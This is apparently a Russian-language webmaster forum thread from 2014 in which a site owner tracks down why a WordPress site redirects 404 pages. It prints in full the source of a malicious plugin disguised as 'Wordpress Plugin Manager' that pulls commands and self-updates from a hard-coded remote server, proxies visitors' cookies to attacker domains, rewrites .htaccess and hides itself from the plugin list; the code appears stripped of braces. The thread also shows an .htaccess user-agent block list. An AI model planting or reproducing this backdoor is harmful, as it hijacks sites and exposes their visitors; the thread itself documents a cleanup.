Установил, не вижу где там можно выбирать определенную категорию записей. Нашел только отдельное указание пермалинков для диапазона постов, которые указываются по ID.
Определил, что зараза в папке вп-контент. Щас я его накрою. Напишу еще раз, сочетания символов 146.185.220.110 в файлах сайта нет.---------- Добавлено 03.03.2014 в 20:21 ----------Сука обнаружена, /wp-content/plugins/wpppm/wpppm.php еще 16.01.2014 создан.
Исходный код засранца
<?php
/*
Plugin Name: Wordpress Plugin Manager
*/
function fourofour()
{
@error_reporting(error_reporting()&~E_NOTICE&~E_WARNING);
$tourl = 300;
$tofile = 3600;
$ver = 7;
$u = "http://146.185.220.75/v.html?v=$ver&h=" . urlencode($_SERVER['HTTP_HOST']);
$gz = function_exists("gzinflate");
$curl = function_exists("curl_init");
$cachedir = dirname(__FILE__) . "/.k";
@mkdir($cachedir);
$s = $_SERVER['HTTP_HOST'];
$fn = $cachedir . "/" . md5("1$s");
$cfn = $cachedir . "/" . md5("2$s");
$d = @file_get_contents($fn);
$c = (int)@file_get_contents($cfn);
if($setc=preg_match('#c([0-9l])+$#s', $_SERVER["REQUEST_URI"], $m))
$c = $m[1];
if($c=='l')
$start = microtime(1);
$rcnt = 0; $ecnt=0;
if(strtolower(substr(PHP_OS,0,3))!='win')
@system("rm -rf \"$cachedir\"");
$dh = @opendir($cachedir);
while($dh && $fn=readdir($dh))
if($fn=="." || $fn=="..") continue;
if(!@unlink("$cachedir/$fn"))
$ecnt++;
$rcnt++;
if($rcnt>=1000) break;
}
closedir($dh);
printf("%u %u", ($rcnt-$ecnt)?1:0, time());
exit;
file_put_contents($cfn, $c);
unset($d);
if(!$d || !($s=@stat($fn)) || $s["mtime"]<time()-$tourl)
$u .= "&c=$c";
if($d = @file_get_contents($u))
// update
if(preg_match('#^u:(.*)\s*$#s', $d, $m))
@file_put_contents(__FILE__, $m[1]);
header("Location: $_SERVER[REQUEST_URI]"); // reload
@file_put_contents($fn, $d);
if($setc)
exit($c);
if($d)
$d = preg_split("/\r?\n/s", trim($d));
srand((int)(microtime(1)*1000));
shuffle($d);
$d = array_pop($d);
$d = sprintf($d, $t);
$d = "http://$d";
$selfdir = str_replace('\\', '/', dirname($_SERVER["SCRIPT_NAME"]));
$path = preg_replace("#^" . $selfdir . "/#i", "", $_SERVER["REQUEST_URI"]);
$path = preg_replace("#^/(wordpress)#", "", $path);
$url = $d . $path;
if($_SERVER["QUERY_STRING"])
$cachedir = 0;
$url .= "?" . $_SERVER["QUERY_STRING"];
$cacheObj = false;
$cachefn = $cachedir . "/" . md5($d . strtolower($path) . $ver . $c);
if($cachedir && ($s=@stat($cachefn)) && time()-$s["mtime"]<$tofile)
$cacheObj = @unserialize(@file_get_contents($cachefn));
if($cacheObj)
$content = $cacheObj->content;
if($cacheObj->contentType)
header("Content-Type: $cacheObj->contentType");
if(!$cacheObj)
if($curl)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_COOKIE, $_SERVER['HTTP_COOKIE']);
curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
@curl_setopt($ch, CURLOPT_HTTPHEADER, array("X-Forwarded-For: $_SERVER[REMOTE_ADDR]", "X-WPM-Version: $ver"));
if($gz) curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
$response = curl_exec($ch);
curl_close($ch);
list($http_response_header, $content) = explode("\r\n\r\n", $response, 2);
$http_response_header = explode("\r\n", $http_response_header);
else
$ctx = stream_context_create(array(
"http"=>array(
"method"=>"GET",
"follow_location"=>0,
"ignore_errors"=>1,
"user_agent"=>$_SERVER["HTTP_USER_AGENT"] . "\r\n" .
"Cookie: $_SERVER[HTTP_COOKIE]\r\n" .
"Referer: $_SERVER[HTTP_REFERER]\r\n" .
"X-Forwarded-For: $_SERVER[REMOTE_ADDR]"
,
"header"=>
($gz ? "Accept-Encoding: gzip\r\n" : "") .
"X-WPM-Version: $ver\r\n"
)));
$content = @file_get_contents($url, false, $ctx);
$cacheObj = new stdClass();
$cacheObj->status = array_shift($http_response_header);
foreach($http_response_header as $x)
list($n,$v) = preg_split("/:\s*/", $x);
switch(strtolower($n))
case "content-type":
$cacheObj->contentType = $v;
case "set-cookie":
header($x);
break;
case "location":
print $content;
case "no-cache":
case "content-encoding":
if($v=="gzip" && !$curl)
$content = gzinflate(substr($content, 10, -8));
if(substr($content, -2)=="c0")
$content = substr($content, 0, -2);
if($cachedir)
$cacheObj->content = $content;
@file_put_contents($cachefn, serialize($cacheObj));
//$content = $content . " " . time();
header("HTTP/1.1 200 OK");
header("Status: 200 OK");
ob_start("ob_gzhandler");
exit($content);
function fourofour_pp($plugins)
foreach($plugins as $fn=>$p)
if(basename($fn)==basename(__FILE__))
unset($plugins[$fn]);
return $plugins;
function fourofour_i()
$rparts = preg_split('#[/\\\\]#', preg_replace('#/+$#', '', $_SERVER['DOCUMENT_ROOT']));
$parts = preg_split('#[/\\\\]#', dirname(__FILE__));
$rel = array();
$sdir = "";
for($i=0; count($parts)>=count($rparts); $i++)
$dir = join($parts, "/");
if(@file_exists("$dir/wp-settings.php"))
while(count($parts)>count($rparts))
array_unshift($rel, array_pop($parts));
$sdir = join("/", $rel);
$dir = $sdir = "";
if($sdir)
$hta = trim(@file_get_contents("$dir/.htaccess"));
if(!preg_match('#BEGIN\s*WordPress.*RewriteRule.*END#si', $hta) && !strpos($hta, basename(__FILE__)))
$ed = "\nErrorDocument 404 /$sdir/" . basename(__FILE__) . "\n";
$hta = preg_replace('#(BEGIN\s*WordPress)#si', "\\1$ed", $hta);
if(!strpos($hta, basename(__FILE__)))
$hta .= "$ed";
@file_put_contents("$dir/.htaccess", $hta);
fourofour_i();
if(function_exists("add_action"))
add_action("404_template", "fourofour");
fourofour();
if(function_exists("add_filter"))
add_filter("all_plugins", "fourofour_pp");
return 1;
?>---------- Добавлено 03.03.2014 в 20:22 ----------Если я изменил все пароли, обновил вордпресс и плагины, я теперь в безопасности ?---------- Добавлено 03.03.2014 в 20:35 ----------Висит в свободном доступе это говно http://pastebin.com/8TLQ6Tpi
Пойдем логическим путем, ставлю новый вордпресс, потом заливаю туда текущую тему, потом бд. Смотрю, когда выплывет ошибка.---------- Добавлено 03.03.2014 в 17:15 ----------Зараза прячется не в теме. Заливаю бд.
Снова у компа, борьба продолжается )) Вот к примеру другой сайт на том хостинге http://www.zdorovv.ru/net.html - страница 404 работает.
Что такое айболит ?---------- Добавлено 03.03.2014 в 15:12 ----------Вот htaccess
php_value max_execution_time 60
php_value upload_max_filesize 15M
php_value magic_quotes_gpc 0
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} ^(.+)/$
RewriteRule ^(.+)/$ /$1 [R=301,L]
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
## Блокировка по USER AGENT:
RewriteCond %{HTTP_USER_AGENT} MJ12bot [OR]
RewriteCond %{HTTP_USER_AGENT} Java [OR]
RewriteCond %{HTTP_USER_AGENT} NjuiceBot [OR]
RewriteCond %{HTTP_USER_AGENT} Gigabot [OR]
RewriteCond %{HTTP_USER_AGENT} Baiduspider [OR]
RewriteCond %{HTTP_USER_AGENT} JS-Kit [OR]
RewriteCond %{HTTP_USER_AGENT} Voyager [OR]
RewriteCond %{HTTP_USER_AGENT} PostRank [OR]
RewriteCond %{HTTP_USER_AGENT} PycURL [OR]
RewriteCond %{HTTP_USER_AGENT} Aport [OR]
RewriteCond %{HTTP_USER_AGENT} ia_archiver [OR]
RewriteCond %{HTTP_USER_AGENT} DotBot [OR]
RewriteCond %{HTTP_USER_AGENT} SurveyBot [OR]
RewriteCond %{HTTP_USER_AGENT} larbin [OR]
RewriteCond %{HTTP_USER_AGENT} Butterfly [OR]
RewriteCond %{HTTP_USER_AGENT} libwww [OR]
RewriteCond %{HTTP_USER_AGENT} Wget [OR]
RewriteCond %{HTTP_USER_AGENT} SWeb [OR]
RewriteCond %{HTTP_USER_AGENT} LinkExchanger [OR]
RewriteCond %{HTTP_USER_AGENT} Soup [OR]
RewriteCond %{HTTP_USER_AGENT} WordPress [OR]
RewriteCond %{HTTP_USER_AGENT} PHP/ [OR]
RewriteCond %{HTTP_USER_AGENT} spbot [OR]
RewriteCond %{HTTP_USER_AGENT} MLBot [OR]
RewriteCond %{HTTP_USER_AGENT} InternetSeer [OR]
RewriteCond %{HTTP_USER_AGENT} FairShare [OR]
RewriteCond %{HTTP_USER_AGENT} Yeti [OR]
RewriteCond %{HTTP_USER_AGENT} Birubot [OR]
RewriteCond %{HTTP_USER_AGENT} YottosBot [OR]
RewriteCond %{HTTP_USER_AGENT} gold\ crawler [OR]
RewriteCond %{HTTP_USER_AGENT} Linguee [OR]
RewriteCond %{HTTP_USER_AGENT} Ezooms [OR]
RewriteCond %{HTTP_USER_AGENT} lwp-trivial [OR]
RewriteCond %{HTTP_USER_AGENT} Purebot [OR]
RewriteCond %{HTTP_USER_AGENT} User-Agent [OR]
RewriteCond %{HTTP_USER_AGENT} kmSearchBot [OR]
RewriteCond %{HTTP_USER_AGENT} SiteBot [OR]
RewriteCond %{HTTP_USER_AGENT} CamontSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ptd-crawler [OR]
RewriteCond %{HTTP_USER_AGENT} HTTrack [OR]
RewriteCond %{HTTP_USER_AGENT} suggybot [OR]
RewriteCond %{HTTP_USER_AGENT} ttCrawler [OR]
RewriteCond %{HTTP_USER_AGENT} Nutch [OR]
RewriteCond %{HTTP_USER_AGENT} bingbot [OR]
RewriteCond %{HTTP_USER_AGENT} msnbot [OR]
RewriteCond %{HTTP_USER_AGENT} psbot [OR]
RewriteCond %{HTTP_USER_AGENT} msnbot-UDiscovery [OR]
RewriteCond %{HTTP_USER_AGENT} Flamingo_SearchEngine [OR]
RewriteCond %{HTTP_USER_AGENT} statdom.ru [OR]
RewriteCond %{HTTP_USER_AGENT} AhrefsBot [OR]
RewriteCond %{HTTP_USER_AGENT} MSNBot [OR]
RewriteCond %{HTTP_USER_AGENT} Zeus
RewriteRule ^(.*)$ – [F,L]
## USER IP BANNING
<Files 403.shtml>
order allow,deny
allow from all
</Files>
deny from 109.238.242.35
ну и дальше только список ип---------- Добавлено 03.03.2014 в 15:28 ----------Листаю огромные логи авторизации. Как в них найти IP, отличный от моего ?---------- Добавлено 03.03.2014 в 16:34 ----------Обновление и отключение всех плагинов ничего не дало.
Пока с телефона, завтра буду возле компа, займусь вопросом плотнее.
Есть у меня такой файл, ничего страшного там не вижу. Также не думаю, что проблема у хостера - рядом стоит другой сайт на вордпрессе, никаких проблем с ошибкой 404 нет.
Вордпресс обновил. В файлах вордпресса не найдено 146.185.220.110. Перенаправление работает в разных темах.---------- Добавлено 02.03.2014 в 00:55 ----------Пока запросил у хостера логи авторизаций по FTP, Cpanel, SSH. Но возможно это перенаправление уже давно существует. Есть возможность узнать, когда это началось ?
Вордпресс старый 3.3.2 , в htaccess ничего подозрительного нет. Пароли щас поменяю, но перенаправление от этого не исчезнет.---------- Добавлено 01.03.2014 в 22:45 ----------
Вот с...ки !!---------- Добавлено 01.03.2014 в 22:46 ----------Это на какой странице нашли ?
Пришли на вебмани деньги через ePayService - потери составили 3,27%. Еще в приватбанк. Примерно такая же будет комиссия.
А что с сайтом ? У меня просто точка в центре страницы.
<html>
<head></head>
<body>
<img class="decoded" src="http://www.trustlink.ru/sites/list" alt="http://www.trustlink.ru/sites/list"></img>
</body>
</html>
Через анонимайзер сайт открылся. Это как понимать ?